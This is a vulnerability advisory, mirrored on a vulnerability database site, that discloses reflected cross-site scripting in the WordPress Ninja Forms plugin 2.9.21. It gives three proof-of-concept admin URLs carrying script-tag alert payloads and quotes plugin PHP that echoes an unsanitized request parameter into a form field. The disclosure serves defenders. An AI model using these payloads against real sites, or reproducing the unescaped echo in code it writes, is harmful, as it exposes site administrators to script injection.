Lucene search
K

WordPress Ninja Forms 2.9.21 Cross Site Scripting

🗓️ 30 Jul 2015 00:00:00Reported by Morten NortoftType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 23 Views

WordPress 'Ninja Forms' Plugin - XSS, Version 2.9.21, Reflected XSS vulnerability, Unsanitized parameters, No available fi

Code
`Title: WordPress 'Ninja Forms' Plugin - XSS  
Version: 2.9.21  
Author: Morten Nørtoft, Kenneth Jepsen, Mikkel Vej  
Date: 2015/07/14  
Download: https://wordpress.org/plugins/ninja-forms/  
Contacted authors: 2015/07/14  
==========================================================  
  
## Description:   
==========================================================  
Forms created with a simple drag and drop interface. Contact forms, Email collection forms, or any other form you want on your WordPress site.  
  
## Reflected XSS:  
==========================================================  
Certain parameters are used unsanitized in the admin pages.   
  
PoC:  
Log in as admin and visit one of the following URLs:  
  
  
[URL]/wp-admin/admin.php?page=nf-processing&title=<script>alert(123);</script>  
[URL]/wp-admin/admin.php?page=nf-processing&action=</script><script>alert(123);</script>  
[URL]/wp-admin/admin.php?page=ninja-forms&tab=notifications&form_id=7&id="><script>alert(132);</script>&notification-action=new  
  
It looks like there are more vulnerabilities, since the plugin has code like this:  
  
file: subs-cpt.php  
...  
l.883 if ( isset ( $_REQUEST['ref'] ) ) {  
l.884 $ref = $_REQUEST['ref'];  
l.885 } else if ( get_transient( 'nf_sub_edit_ref' ) ) {  
l.886 $ref = get_transient( 'nf_sub_edit_ref' );  
l.887 } else {  
l.888 $ref = '';  
l.889 }  
l.890 ?>  
l.891 <input type="hidden" name="ref" value="<?php echo $ref; ?>" />  
...  
  
  
## Solution  
==========================================================  
No fix available.   
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation